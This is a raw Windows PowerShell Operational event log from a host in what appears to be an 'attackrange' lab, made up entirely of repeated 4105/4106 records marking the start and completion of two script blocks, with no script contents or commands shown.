EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051569
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051568
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051567
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051566
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051565
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051564
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051563
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051562
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051561
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051560
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051559
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051558
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051557
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051556
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051555
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051554
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051553
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051552
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051551
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051550
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051549
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051548
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051547
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051546
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051545
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051544
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051543
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051542
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051541
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051540
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051539
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051538
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051537
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051536
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051535
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051534
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051533
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051532
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051531
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051530
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051529
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051528
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051527
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051526
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051525
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051524
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051523
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051522
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051521
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051520
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051519
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051518
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051517
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051516
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
